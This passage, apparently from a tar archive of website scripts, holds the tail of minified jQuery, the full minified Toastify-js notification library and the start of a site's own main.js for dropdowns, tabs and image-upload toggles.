(n = r.event.special[p] || {}), f || !n.trigger || n.trigger.apply(e, c) !== !1)) ) { if (!f && !n.noBubble && !r.isWindow(e)) { for ( j = n.delegateType || p, pb.test(j + p) || (h = h.parentNode); h; h = h.parentNode ) o.push(h), (i = h); i === (e.ownerDocument || d) && o.push(i.defaultView || i.parentWindow || a); } g = 0; while ((h = o[g++]) && !b.isPropagationStopped()) (b.type = g > 1 ? j : n.bindType || p), (m = (V.get(h, "events") || {})[b.type] && V.get(h, "handle")), m && m.apply(h, c), (m = k && h[k]), m && m.apply && T(h) && ((b.result = m.apply(h, c)), b.result === !1 && b.preventDefault()); return ( (b.type = p), f || b.isDefaultPrevented() || (n._default && n._default.apply(o.pop(), c) !== !1) || !T(e) || (k && r.isFunction(e[p]) && !r.isWindow(e) && ((i = e[k]), i && (e[k] = null), (r.event.triggered = p), e[p](), (r.event.triggered = void 0), i && (e[k] = i))), b.result ); } }, simulate: function (a, b, c) { var d = r.extend(new r.Event(), c, { type: a, isSimulated: !0 }); r.event.trigger(d, null, b); }, }), r.fn.extend({ trigger: function (a, b) { return this.each(function () { r.event.trigger(a, b, this); }); }, triggerHandler: function (a, b) { var c = this[0]; if (c) return r.event.trigger(a, b, c, !0); }, }), r.each( "blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split( " " ), function (a, b) { r.fn[b] = function (a, c) { return arguments.length > 0 ? this.on(b, null, a, c) : this.trigger(b); }; } ), r.fn.extend({ hover: function (a, b) { return this.mouseenter(a).mouseleave(b || a); }, }), (o.focusin = "onfocusin" in a), o.focusin || r.each({ focus: "focusin", blur: "focusout" }, function (a, b) { var c = function (a) { r.event.simulate(b, a.target, r.event.fix(a)); }; r.event.special[b] = { setup: function () { var d = this.ownerDocument || this, e = V.access(d, b); e || d.addEventListener(a, c, !0), V.access(d, b, (e || 0) + 1); }, teardown: function () { var d = this.ownerDocument || this, e = V.access(d, b) - 1; e ? V.access(d, b, e) : (d.removeEventListener(a, c, !0), V.remove(d, b)); }, }; }); var qb = a.location, rb = r.now(), sb = /\?/; r.parseXML = function (b) { var c; if (!b || "string" != typeof b) return null; try { c = new a.DOMParser().parseFromString(b, "text/xml"); } catch (d) { c = void 0; } return ( (c && !c.getElementsByTagName("parsererror").length) || r.error("Invalid XML: " + b), c ); }; var tb = /\[\]$/, ub = /\r?\n/g, vb = /^(?:submit|button|image|reset|file)$/i, wb = /^(?:input|select|textarea|keygen)/i; function xb(a, b, c, d) { var e; if (r.isArray(b)) r.each(b, function (b, e) { c || tb.test(a) ? d(a, e) : xb( a + "[" + ("object" == typeof e && null != e ? b : "") + "]", e, c, d ); }); else if (c || "object" !== r.type(b)) d(a, b); else for (e in b) xb(a + "[" + e + "]", b[e], c, d); } (r.param = function (a, b) { var c, d = [], e = function (a, b) { var c = r.isFunction(b) ? b() : b; d[d.length] = encodeURIComponent(a) + "=" + encodeURIComponent(null == c ? "" : c); }; if (r.isArray(a) || (a.jquery && !r.isPlainObject(a))) r.each(a, function () { e(this.name, this.value); }); else for (c in a) xb(c, a[c], b, e); return d.join("&"); }), r.fn.extend({ serialize: function () { return r.param(this.serializeArray()); }, serializeArray: function () { return this.map(function () { var a = r.prop(this, "elements"); return a ? r.makeArray(a) : this; }) .filter(function () { var a = this.type; return ( this.name && !r(this).is(":disabled") && wb.test(this.nodeName) && !vb.test(a) && (this.checked || !ia.test(a)) ); }) .map(function (a, b) { var c = r(this).val(); return null == c ? null : r.isArray(c) ? r.map(c, function (a) { return { name: b.name, value: a.replace(ub, "\r\n") }; }) : { name: b.name, value: c.replace(ub, "\r\n") }; }) .get(); }, }); var yb = /%20/g, zb = /#.*$/, Ab = /([?&])_=[^&]*/, Bb = /^(.*?):[ \t]*([^\r\n]*)$/gm, Cb = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/, Db = /^(?:GET|HEAD)$/, Eb = /^\/\//, Fb = {}, Gb = {}, Hb = "*/".concat("*"), Ib = d.createElement("a"); Ib.href = qb.href; function Jb(a) { return function (b, c) { "string" != typeof b && ((c = b), (b = "*")); var d, e = 0, f = b.toLowerCase().match(K) || []; if (r.isFunction(c)) while ((d = f[e++])) "+" === d[0] ? ((d = d.slice(1) || "*"), (a[d] = a[d] || []).unshift(c)) : (a[d] = a[d] || []).push(c); }; } function Kb(a, b, c, d) { var e = {}, f = a === Gb; function g(h) { var i; return ( (e[h] = !0), r.each(a[h] || [], function (a, h) { var j = h(b, c, d); return "string" != typeof j || f || e[j] ? f ? !(i = j) : void 0 : (b.dataTypes.unshift(j), g(j), !1); }), i ); } return g(b.dataTypes[0]) || (!e["*"] && g("*")); } function Lb(a, b) { var c, d, e = r.ajaxSettings.flatOptions || {}; for (c in b) void 0 !== b[c] && ((e[c] ? a : d || (d = {}))[c] = b[c]); return d && r.extend(!0, a, d), a; } function Mb(a, b, c) { var d, e, f, g, h = a.contents, i = a.dataTypes; while ("*" === i[0]) i.shift(), void 0 === d && (d = a.mimeType || b.getResponseHeader("Content-Type")); if (d) for (e in h) if (h[e] && h[e].test(d)) { i.unshift(e); break; } if (i[0] in c) f = i[0]; else { for (e in c) { if (!i[0] || a.converters[e + " " + i[0]]) { f = e; break; } g || (g = e); } f = f || g; } if (f) return f !== i[0] && i.unshift(f), c[f]; } function Nb(a, b, c, d) { var e, f, g, h, i, j = {}, k = a.dataTypes.slice(); if (k[1]) for (g in a.converters) j[g.toLowerCase()] = a.converters[g]; f = k.shift(); while (f) if ( (a.responseFields[f] && (c[a.responseFields[f]] = b), !i && d && a.dataFilter && (b = a.dataFilter(b, a.dataType)), (i = f), (f = k.shift())) ) if ("*" === f) f = i; else if ("*" !== i && i !== f) { if (((g = j[i + " " + f] || j["* " + f]), !g)) for (e in j) if ( ((h = e.split(" ")), h[1] === f && (g = j[i + " " + h[0]] || j["* " + h[0]])) ) { g === !0 ? (g = j[e]) : j[e] !== !0 && ((f = h[0]), k.unshift(h[1])); break; } if (g !== !0) if (g && a["throws"]) b = g(b); else try { b = g(b); } catch (l) { return { state: "parsererror", error: g ? l : "No conversion from " + i + " to " + f, }; } } return { state: "success", data: b }; } r.extend({ active: 0, lastModified: {}, etag: {}, ajaxSettings: { url: qb.href, type: "GET", isLocal: Cb.test(qb.protocol), global: !0, processData: !0, async: !0, contentType: "application/x-www-form-urlencoded; charset=UTF-8", accepts: { "*": Hb, text: "text/plain", html: "text/html", xml: "application/xml, text/xml", json: "application/json, text/javascript", }, contents: { xml: /\bxml\b/, html: /\bhtml/, json: /\bjson\b/ }, responseFields: { xml: "responseXML", text: "responseText", json: "responseJSON", }, converters: { "* text": String, "text html": !0, "text json": JSON.parse, "text xml": r.parseXML, }, flatOptions: { url: !0, context: !0 }, }, ajaxSetup: function (a, b) { return b ? Lb(Lb(a, r.ajaxSettings), b) : Lb(r.ajaxSettings, a); }, ajaxPrefilter: Jb(Fb), ajaxTransport: Jb(Gb), ajax: function (b, c) { "object" == typeof b && ((c = b), (b = void 0)), (c = c || {}); var e, f, g, h, i, j, k, l, m, n, o = r.ajaxSetup({}, c), p = o.context || o, q = o.context && (p.nodeType || p.jquery) ? r(p) : r.event, s = r.Deferred(), t = r.Callbacks("once memory"), u = o.statusCode || {}, v = {}, w = {}, x = "canceled", y = { readyState: 0, getResponseHeader: function (a) { var b; if (k) { if (!h) { h = {}; while ((b = Bb.exec(g))) h[b[1].toLowerCase()] = b[2]; } b = h[a.toLowerCase()]; } return null == b ? null : b; }, getAllResponseHeaders: function () { return k ? g : null; }, setRequestHeader: function (a, b) { return ( null == k && ((a = w[a.toLowerCase()] = w[a.toLowerCase()] || a), (v[a] = b)), this ); }, overrideMimeType: function (a) { return null == k && (o.mimeType = a), this; }, statusCode: function (a) { var b; if (a) if (k) y.always(a[y.status]); else for (b in a) u[b] = [u[b], a[b]]; return this; }, abort: function (a) { var b = a || x; return e && e.abort(b), A(0, b), this; }, }; if ( (s.promise(y), (o.url = ((b || o.url || qb.href) + "").replace( Eb, qb.protocol + "//" )), (o.type = c.method || c.type || o.method || o.type), (o.dataTypes = (o.dataType || "*").toLowerCase().match(K) || [""]), null == o.crossDomain) ) { j = d.createElement("a"); try { (j.href = o.url), (j.href = j.href), (o.crossDomain = Ib.protocol + "//" + Ib.host != j.protocol + "//" + j.host); } catch (z) { o.crossDomain = !0; } } if ( (o.data && o.processData && "string" != typeof o.data && (o.data = r.param(o.data, o.traditional)), Kb(Fb, o, c, y), k) ) return y; (l = r.event && o.global), l && 0 === r.active++ && r.event.trigger("ajaxStart"), (o.type = o.type.toUpperCase()), (o.hasContent = !Db.test(o.type)), (f = o.url.replace(zb, "")), o.hasContent ? o.data && o.processData && 0 === (o.contentType || "").indexOf( "application/x-www-form-urlencoded" ) && (o.data = o.data.replace(yb, "+")) : ((n = o.url.slice(f.length)), o.data && ((f += (sb.test(f) ? "&" : "?") + o.data), delete o.data), o.cache === !1 && ((f = f.replace(Ab, "$1")), (n = (sb.test(f) ? "&" : "?") + "_=" + rb++ + n)), (o.url = f + n)), o.ifModified && (r.lastModified[f] && y.setRequestHeader("If-Modified-Since", r.lastModified[f]), r.etag[f] && y.setRequestHeader("If-None-Match", r.etag[f])), ((o.data && o.hasContent && o.contentType !== !1) || c.contentType) && y.setRequestHeader("Content-Type", o.contentType), y.setRequestHeader( "Accept", o.dataTypes[0] && o.accepts[o.dataTypes[0]] ? o.accepts[o.dataTypes[0]] + ("*" !== o.dataTypes[0] ? ", " + Hb + "; q=0.01" : "") : o.accepts["*"] ); for (m in o.headers) y.setRequestHeader(m, o.headers[m]); if (o.beforeSend && (o.beforeSend.call(p, y, o) === !1 || k)) return y.abort(); if ( ((x = "abort"), t.add(o.complete), y.done(o.success), y.fail(o.error), (e = Kb(Gb, o, c, y))) ) { if (((y.readyState = 1), l && q.trigger("ajaxSend", [y, o]), k)) return y; o.async && o.timeout > 0 && (i = a.setTimeout(function () { y.abort("timeout"); }, o.timeout)); try { (k = !1), e.send(v, A); } catch (z) { if (k) throw z; A(-1, z); } } else A(-1, "No Transport"); function A(b, c, d, h) { var j, m, n, v, w, x = c; k || ((k = !0), i && a.clearTimeout(i), (e = void 0), (g = h || ""), (y.readyState = b > 0 ? 4 : 0), (j = (b >= 200 && b < 300) || 304 === b), d && (v = Mb(o, y, d)), (v = Nb(o, v, y, j)), j ? (o.ifModified && ((w = y.getResponseHeader("Last-Modified")), w && (r.lastModified[f] = w), (w = y.getResponseHeader("etag")), w && (r.etag[f] = w)), 204 === b || "HEAD" === o.type ? (x = "nocontent") : 304 === b ? (x = "notmodified") : ((x = v.state), (m = v.data), (n = v.error), (j = !n))) : ((n = x), (!b && x) || ((x = "error"), b < 0 && (b = 0))), (y.status = b), (y.statusText = (c || x) + ""), j ? s.resolveWith(p, [m, x, y]) : s.rejectWith(p, [y, x, n]), y.statusCode(u), (u = void 0), l && q.trigger(j ? "ajaxSuccess" : "ajaxError", [y, o, j ? m : n]), t.fireWith(p, [y, x]), l && (q.trigger("ajaxComplete", [y, o]), --r.active || r.event.trigger("ajaxStop"))); } return y; }, getJSON: function (a, b, c) { return r.get(a, b, c, "json"); }, getScript: function (a, b) { return r.get(a, void 0, b, "script"); }, }), r.each(["get", "post"], function (a, b) { r[b] = function (a, c, d, e) { return ( r.isFunction(c) && ((e = e || d), (d = c), (c = void 0)), r.ajax( r.extend( { url: a, type: b, dataType: e, data: c, success: d }, r.isPlainObject(a) && a ) ) ); }; }), (r._evalUrl = function (a) { return r.ajax({ url: a, type: "GET", dataType: "script", cache: !0, async: !1, global: !1, throws: !0, }); }), r.fn.extend({ wrapAll: function (a) { var b; return ( this[0] && (r.isFunction(a) && (a = a.call(this[0])), (b = r(a, this[0].ownerDocument).eq(0).clone(!0)), this[0].parentNode && b.insertBefore(this[0]), b .map(function () { var a = this; while (a.firstElementChild) a = a.firstElementChild; return a; }) .append(this)), this ); }, wrapInner: function (a) { return r.isFunction(a) ? this.each(function (b) { r(this).wrapInner(a.call(this, b)); }) : this.each(function () { var b = r(this), c = b.contents(); c.length ? c.wrapAll(a) : b.append(a); }); }, wrap: function (a) { var b = r.isFunction(a); return this.each(function (c) { r(this).wrapAll(b ? a.call(this, c) : a); }); }, unwrap: function (a) { return ( this.parent(a) .not("body") .each(function () { r(this).replaceWith(this.childNodes); }), this ); }, }), (r.expr.pseudos.hidden = function (a) { return !r.expr.pseudos.visible(a); }), (r.expr.pseudos.visible = function (a) { return !!(a.offsetWidth || a.offsetHeight || a.getClientRects().length); }), (r.ajaxSettings.xhr = function () { try { return new a.XMLHttpRequest(); } catch (b) {} }); var Ob = { 0: 200, 1223: 204 }, Pb = r.ajaxSettings.xhr(); (o.cors = !!Pb && "withCredentials" in Pb), (o.ajax = Pb = !!Pb), r.ajaxTransport(function (b) { var c, d; if (o.cors || (Pb && !b.crossDomain)) return { send: function (e, f) { var g, h = b.xhr(); if ( (h.open(b.type, b.url, b.async, b.username, b.password), b.xhrFields) ) for (g in b.xhrFields) h[g] = b.xhrFields[g]; b.mimeType && h.overrideMimeType && h.overrideMimeType(b.mimeType), b.crossDomain || e["X-Requested-With"] || (e["X-Requested-With"] = "XMLHttpRequest"); for (g in e) h.setRequestHeader(g, e[g]); (c = function (a) { return function () { c && ((c = d = h.onload = h.onerror = h.onabort = h.onreadystatechange = null), "abort" === a ? h.abort() : "error" === a ? "number" != typeof h.status ? f(0, "error") : f(h.status, h.statusText) : f( Ob[h.status] || h.status, h.statusText, "text" !== (h.responseType || "text") || "string" != typeof h.responseText ? { binary: h.response } : { text: h.responseText }, h.getAllResponseHeaders() )); }; }), (h.onload = c()), (d = h.onerror = c("error")), void 0 !== h.onabort ? (h.onabort = d) : (h.onreadystatechange = function () { 4 === h.readyState && a.setTimeout(function () { c && d(); }); }), (c = c("abort")); try { h.send((b.hasContent && b.data) || null); } catch (i) { if (c) throw i; } }, abort: function () { c && c(); }, }; }), r.ajaxPrefilter(function (a) { a.crossDomain && (a.contents.script = !1); }), r.ajaxSetup({ accepts: { script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript", }, contents: { script: /\b(?:java|ecma)script\b/ }, converters: { "text script": function (a) { return r.globalEval(a), a; }, }, }), r.ajaxPrefilter("script", function (a) { void 0 === a.cache && (a.cache = !1), a.crossDomain && (a.type = "GET"); }), r.ajaxTransport("script", function (a) { if (a.crossDomain) { var b, c; return { send: function (e, f) { (b = r("<script>") .prop({ charset: a.scriptCharset, src: a.url }) .on( "load error", (c = function (a) { b.remove(), (c = null), a && f("error" === a.type ? 404 : 200, a.type); }) )), d.head.appendChild(b[0]); }, abort: function () { c && c(); }, }; } }); var Qb = [], Rb = /(=)\?(?=&|$)|\?\?/; r.ajaxSetup({ jsonp: "callback", jsonpCallback: function () { var a = Qb.pop() || r.expando + "_" + rb++; return (this[a] = !0), a; }, }), r.ajaxPrefilter("json jsonp", function (b, c, d) { var e, f, g, h = b.jsonp !== !1 && (Rb.test(b.url) ? "url" : "string" == typeof b.data && 0 === (b.contentType || "").indexOf( "application/x-www-form-urlencoded" ) && Rb.test(b.data) && "data"); if (h || "jsonp" === b.dataTypes[0]) return ( (e = b.jsonpCallback = r.isFunction(b.jsonpCallback) ? b.jsonpCallback() : b.jsonpCallback), h ? (b[h] = b[h].replace(Rb, "$1" + e)) : b.jsonp !== !1 && (b.url += (sb.test(b.url) ? "&" : "?") + b.jsonp + "=" + e), (b.converters["script json"] = function () { return g || r.error(e + " was not called"), g[0]; }), (b.dataTypes[0] = "json"), (f = a[e]), (a[e] = function () { g = arguments; }), d.always(function () { void 0 === f ? r(a).removeProp(e) : (a[e] = f), b[e] && ((b.jsonpCallback = c.jsonpCallback), Qb.push(e)), g && r.isFunction(f) && f(g[0]), (g = f = void 0); }), "script" ); }), (o.createHTMLDocument = (function () { var a = d.implementation.createHTMLDocument("").body; return ( (a.innerHTML = "<form></form><form></form>"), 2 === a.childNodes.length ); })()), (r.parseHTML = function (a, b, c) { if ("string" != typeof a) return []; "boolean" == typeof b && ((c = b), (b = !1)); var e, f, g; return ( b || (o.createHTMLDocument ? ((b = d.implementation.createHTMLDocument("")), (e = b.createElement("base")), (e.href = d.location.href), b.head.appendChild(e)) : (b = d)), (f = B.exec(a)), (g = !c && []), f ? [b.createElement(f[1])] : ((f = pa([a], b, g)), g && g.length && r(g).remove(), r.merge([], f.childNodes)) ); }), (r.fn.load = function (a, b, c) { var d, e, f, g = this, h = a.indexOf(" "); return ( h > -1 && ((d = mb(a.slice(h))), (a = a.slice(0, h))), r.isFunction(b) ? ((c = b), (b = void 0)) : b && "object" == typeof b && (e = "POST"), g.length > 0 && r .ajax({ url: a, type: e || "GET", dataType: "html", data: b }) .done(function (a) { (f = arguments), g.html(d ? r("<div>").append(r.parseHTML(a)).find(d) : a); }) .always( c && function (a, b) { g.each(function () { c.apply(this, f || [a.responseText, b, a]); }); } ), this ); }), r.each( [ "ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend", ], function (a, b) { r.fn[b] = function (a) { return this.on(b, a); }; } ), (r.expr.pseudos.animated = function (a) { return r.grep(r.timers, function (b) { return a === b.elem; }).length; }); function Sb(a) { return r.isWindow(a) ? a : 9 === a.nodeType && a.defaultView; } (r.offset = { setOffset: function (a, b, c) { var d, e, f, g, h, i, j, k = r.css(a, "position"), l = r(a), m = {}; "static" === k && (a.style.position = "relative"), (h = l.offset()), (f = r.css(a, "top")), (i = r.css(a, "left")), (j = ("absolute" === k || "fixed" === k) && (f + i).indexOf("auto") > -1), j ? ((d = l.position()), (g = d.top), (e = d.left)) : ((g = parseFloat(f) || 0), (e = parseFloat(i) || 0)), r.isFunction(b) && (b = b.call(a, c, r.extend({}, h))), null != b.top && (m.top = b.top - h.top + g), null != b.left && (m.left = b.left - h.left + e), "using" in b ? b.using.call(a, m) : l.css(m); }, }), r.fn.extend({ offset: function (a) { if (arguments.length) return void 0 === a ? this : this.each(function (b) { r.offset.setOffset(this, a, b); }); var b, c, d, e, f = this[0]; if (f) return f.getClientRects().length ? ((d = f.getBoundingClientRect()), d.width || d.height ? ((e = f.ownerDocument), (c = Sb(e)), (b = e.documentElement), { top: d.top + c.pageYOffset - b.clientTop, left: d.left + c.pageXOffset - b.clientLeft, }) : d) : { top: 0, left: 0 }; }, position: function () { if (this[0]) { var a, b, c = this[0], d = { top: 0, left: 0 }; return ( "fixed" === r.css(c, "position") ? (b = c.getBoundingClientRect()) : ((a = this.offsetParent()), (b = this.offset()), r.nodeName(a[0], "html") || (d = a.offset()), (d = { top: d.top + r.css(a[0], "borderTopWidth", !0), left: d.left + r.css(a[0], "borderLeftWidth", !0), })), { top: b.top - d.top - r.css(c, "marginTop", !0), left: b.left - d.left - r.css(c, "marginLeft", !0), } ); } }, offsetParent: function () { return this.map(function () { var a = this.offsetParent; while (a && "static" === r.css(a, "position")) a = a.offsetParent; return a || qa; }); }, }), r.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function (a, b) { var c = "pageYOffset" === b; r.fn[a] = function (d) { return S( this, function (a, d, e) { var f = Sb(a); return void 0 === e ? f ? f[b] : a[d] : void (f ? f.scrollTo(c ? f.pageXOffset : e, c ? e : f.pageYOffset) : (a[d] = e)); }, a, d, arguments.length ); }; } ), r.each(["top", "left"], function (a, b) { r.cssHooks[b] = Oa(o.pixelPosition, function (a, c) { if (c) return (c = Na(a, b)), La.test(c) ? r(a).position()[b] + "px" : c; }); }), r.each({ Height: "height", Width: "width" }, function (a, b) { r.each( { padding: "inner" + a, content: b, "": "outer" + a }, function (c, d) { r.fn[d] = function (e, f) { var g = arguments.length && (c || "boolean" != typeof e), h = c || (e === !0 || f === !0 ? "margin" : "border"); return S( this, function (b, c, e) { var f; return r.isWindow(b) ? 0 === d.indexOf("outer") ? b["inner" + a] : b.document.documentElement["client" + a] : 9 === b.nodeType ? ((f = b.documentElement), Math.max( b.body["scroll" + a], f["scroll" + a], b.body["offset" + a], f["offset" + a], f["client" + a] )) : void 0 === e ? r.css(b, c, h) : r.style(b, c, e, h); }, b, g ? e : void 0, g ); }; } ); }), r.fn.extend({ bind: function (a, b, c) { return this.on(a, null, b, c); }, unbind: function (a, b) { return this.off(a, null, b); }, delegate: function (a, b, c, d) { return this.on(b, a, c, d); }, undelegate: function (a, b, c) { return 1 === arguments.length ? this.off(a, "**") : this.off(b, a || "**", c); }, }), (r.parseJSON = JSON.parse), "function" == typeof define && define.amd && define("jquery", [], function () { return r; }); var Tb = a.jQuery, Ub = a.$; return ( (r.noConflict = function (b) { return a.$ === r && (a.$ = Ub), b && a.jQuery === r && (a.jQuery = Tb), r; }), b || (a.jQuery = a.$ = r), r ); }); toast.min.js 0000674 00000025201 00000000000 0006762 0 ustar 00 /** * Minified by jsDelivr using Terser v5.14.1. * Original file: /npm/toastify-js@1.12.0/src/toastify.js * * Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files */ /*! * Toastify js 1.12.0 * https://github.com/apvarun/toastify-js * @license MIT licensed * * Copyright (C) 2018 Varun A P */ !(function (t, o) { "object" == typeof module && module.exports ? (module.exports = o()) : (t.Toastify = o()); })(this, function (t) { var o = function (t) { return new o.lib.init(t); }; function i(t, o) { return o.offset[t] ? isNaN(o.offset[t]) ? o.offset[t] : o.offset[t] + "px" : "0px"; } function s(t, o) { return ( !(!t || "string" != typeof o) && !!(t.className && t.className.trim().split(/\s+/gi).indexOf(o) > -1) ); } return ( (o.defaults = { oldestFirst: !0, text: "Toastify is awesome!", node: void 0, duration: 3e3, selector: void 0, callback: function () {}, destination: void 0, newWindow: !1, close: !1, gravity: "toastify-top", positionLeft: !1, position: "", backgroundColor: "", avatar: "", className: "", stopOnFocus: !0, onClick: function () {}, offset: { x: 0, y: 0 }, escapeMarkup: !0, ariaLive: "polite", style: { background: "" }, }), (o.lib = o.prototype = { toastify: "1.12.0", constructor: o, init: function (t) { return ( t || (t = {}), (this.options = {}), (this.toastElement = null), (this.options.text = t.text || o.defaults.text), (this.options.node = t.node || o.defaults.node), (this.options.duration = 0 === t.duration ? 0 : t.duration || o.defaults.duration), (this.options.selector = t.selector || o.defaults.selector), (this.options.callback = t.callback || o.defaults.callback), (this.options.destination = t.destination || o.defaults.destination), (this.options.newWindow = t.newWindow || o.defaults.newWindow), (this.options.close = t.close || o.defaults.close), (this.options.gravity = "bottom" === t.gravity ? "toastify-bottom" : o.defaults.gravity), (this.options.positionLeft = t.positionLeft || o.defaults.positionLeft), (this.options.position = t.position || o.defaults.position), (this.options.backgroundColor = t.backgroundColor || o.defaults.backgroundColor), (this.options.avatar = t.avatar || o.defaults.avatar), (this.options.className = t.className || o.defaults.className), (this.options.stopOnFocus = void 0 === t.stopOnFocus ? o.defaults.stopOnFocus : t.stopOnFocus), (this.options.onClick = t.onClick || o.defaults.onClick), (this.options.offset = t.offset || o.defaults.offset), (this.options.escapeMarkup = void 0 !== t.escapeMarkup ? t.escapeMarkup : o.defaults.escapeMarkup), (this.options.ariaLive = t.ariaLive || o.defaults.ariaLive), (this.options.style = t.style || o.defaults.style), t.backgroundColor && (this.options.style.background = t.backgroundColor), this ); }, buildToast: function () { if (!this.options) throw "Toastify is not initialized"; var t = document.createElement("div"); for (var o in ((t.className = "toastify on " + this.options.className), this.options.position ? (t.className += " toastify-" + this.options.position) : !0 === this.options.positionLeft ? ((t.className += " toastify-left"), console.warn( "Property `positionLeft` will be depreciated in further versions. Please use `position` instead." )) : (t.className += " toastify-right"), (t.className += " " + this.options.gravity), this.options.backgroundColor && console.warn( 'DEPRECATION NOTICE: "backgroundColor" is being deprecated. Please use the "style.background" property.' ), this.options.style)) t.style[o] = this.options.style[o]; if ( (this.options.ariaLive && t.setAttribute("aria-live", this.options.ariaLive), this.options.node && this.options.node.nodeType === Node.ELEMENT_NODE) ) t.appendChild(this.options.node); else if ( (this.options.escapeMarkup ? (t.innerText = this.options.text) : (t.innerHTML = this.options.text), "" !== this.options.avatar) ) { var s = document.createElement("img"); (s.src = this.options.avatar), (s.className = "toastify-avatar"), "left" == this.options.position || !0 === this.options.positionLeft ? t.appendChild(s) : t.insertAdjacentElement("afterbegin", s); } if (!0 === this.options.close) { var e = document.createElement("button"); (e.type = "button"), e.setAttribute("aria-label", "Close"), (e.className = "toast-close"), (e.innerHTML = "✖"), e.addEventListener( "click", function (t) { t.stopPropagation(), this.removeElement(this.toastElement), window.clearTimeout(this.toastElement.timeOutValue); }.bind(this) ); var n = window.innerWidth > 0 ? window.innerWidth : screen.width; ("left" == this.options.position || !0 === this.options.positionLeft) && n > 360 ? t.insertAdjacentElement("afterbegin", e) : t.appendChild(e); } if (this.options.stopOnFocus && this.options.duration > 0) { var a = this; t.addEventListener("mouseover", function (o) { window.clearTimeout(t.timeOutValue); }), t.addEventListener("mouseleave", function () { t.timeOutValue = window.setTimeout(function () { a.removeElement(t); }, a.options.duration); }); } if ( (void 0 !== this.options.destination && t.addEventListener( "click", function (t) { t.stopPropagation(), !0 === this.options.newWindow ? window.open(this.options.destination, "_blank") : (window.location = this.options.destination); }.bind(this) ), "function" == typeof this.options.onClick && void 0 === this.options.destination && t.addEventListener( "click", function (t) { t.stopPropagation(), this.options.onClick(); }.bind(this) ), "object" == typeof this.options.offset) ) { var l = i("x", this.options), r = i("y", this.options), p = "left" == this.options.position ? l : "-" + l, d = "toastify-top" == this.options.gravity ? r : "-" + r; t.style.transform = "translate(" + p + "," + d + ")"; } return t; }, showToast: function () { var t; if ( ((this.toastElement = this.buildToast()), !(t = "string" == typeof this.options.selector ? document.getElementById(this.options.selector) : this.options.selector instanceof HTMLElement || ("undefined" != typeof ShadowRoot && this.options.selector instanceof ShadowRoot) ? this.options.selector : document.body)) ) throw "Root element is not defined"; var i = o.defaults.oldestFirst ? t.firstChild : t.lastChild; return ( t.insertBefore(this.toastElement, i), o.reposition(), this.options.duration > 0 && (this.toastElement.timeOutValue = window.setTimeout( function () { this.removeElement(this.toastElement); }.bind(this), this.options.duration )), this ); }, hideToast: function () { this.toastElement.timeOutValue && clearTimeout(this.toastElement.timeOutValue), this.removeElement(this.toastElement); }, removeElement: function (t) { (t.className = t.className.replace(" on", "")), window.setTimeout( function () { this.options.node && this.options.node.parentNode && this.options.node.parentNode.removeChild(this.options.node), t.parentNode && t.parentNode.removeChild(t), this.options.callback.call(t), o.reposition(); }.bind(this), 400 ); }, }), (o.reposition = function () { for ( var t, o = { top: 15, bottom: 15 }, i = { top: 15, bottom: 15 }, e = { top: 15, bottom: 15 }, n = document.getElementsByClassName("toastify"), a = 0; a < n.length; a++ ) { t = !0 === s(n[a], "toastify-top") ? "toastify-top" : "toastify-bottom"; var l = n[a].offsetHeight; t = t.substr(9, t.length - 1); (window.innerWidth > 0 ? window.innerWidth : screen.width) <= 360 ? ((n[a].style[t] = e[t] + "px"), (e[t] += l + 15)) : !0 === s(n[a], "toastify-left") ? ((n[a].style[t] = o[t] + "px"), (o[t] += l + 15)) : ((n[a].style[t] = i[t] + "px"), (i[t] += l + 15)); } return this; }), (o.lib.init.prototype = o.lib), o ); }); //# sourceMappingURL=/sm/e1ebbfe1bf0b0061f0726ebc83434e1c2f8308e6354c415fd05ecccdaad47617.map main.js 0000674 00000010423 00000000000 0005772 0 ustar 00 const DROP_BUTTON = document.querySelectorAll('.drop_btn'); if (DROP_BUTTON !== null) { DROP_BUTTON.forEach((e) => { e.addEventListener("click", () => { const TARGET_ELEMENT = e.getAttribute("data-target"); document.querySelector(TARGET_ELEMENT).classList.toggle('show'); }); }); } const TAB_BUTTON = document.querySelectorAll('.tab-button'); const TAB = document.querySelectorAll('.tab'); if (TAB_BUTTON !== null) { TAB_BUTTON.forEach((e) => { e.addEventListener("click", (button) => { TAB.forEach((t) => { t.classList.add('hidden'); t.classList.remove('show'); }) const TARGET_TAB = e.getAttribute("data-target"); document.querySelector(TARGET_TAB).classList.remove('hidden'); document.querySelector(TARGET_TAB).classList.toggle('block'); }) }) } if (TAB_BUTTON !== null) { TAB_BUTTON.forEach((e) => { e.addEventListener("click", ActiveButton); }) } function ActiveButton() { TAB_BUTTON.forEach((e) => { e.classList.remove("bg-blue-500"); e.classList.remove("text-gray-100"); e.classList.add("text-gray-500"); // e.classList.add("bg-transparent"); }) this.classList.add("bg-blue-500"); this.classList.replace("text-gray-500", "text-gray-100"); } const USER_PROFILE_UPLOAD_IMAGE_BUTTON = document.getElementById('pic_upload_button'); if (USER_PROFILE_UPLOAD_IMAGE_BUTTON !== null) { USER_PROFILE_UPLOAD_IMAGE_BUTTON.addEventListener("click", () => { document.getElementById('user_profile_pic').click(); }) } const FILE_TYPE = document.getElementById('File_Type'); if (FILE_TYPE !== null) { FILE_TYPE.addEventListener("change", () => { if (FILE_TYPE.value === 'File' || FILE_TYPE.value === 'URL') { if (FILE_TYPE.value !== 'null') { console.warn(FILE_TYPE.value) if (FILE_TYPE.value === 'File') { document.getElementById('FILE_IMAGE').classList.remove('hidden'); } else { document.getElementById('FILE_IMAGE').classList.add('hidden'); } if (FILE_TYPE.value === 'URL') { document.getElementById('URL_IMAGE').classList.remove('hidden'); } else { document.getElementById('URL_IMAGE').classList.add('hidden'); } } } }); // window.addEventListener("DOMContentLoaded", () => { // document.addEventListener("DOMContentLoaded", () => { window.addEventListener("load", () => { // document.addEventListener("load", () => { if (FILE_TYPE !== null) { if (FILE_TYPE.value === 'File' || FILE_TYPE.value === 'URL') { if (FILE_TYPE.value !== 'null') { console.warn(FILE_TYPE.value) if (FILE_TYPE.value === 'File') { document.getElementById('FILE_IMAGE').classList.remove('hidden'); } else { document.getElementById('FILE_IMAGE').classList.add('hidden'); } if (FILE_TYPE.value === 'URL') { 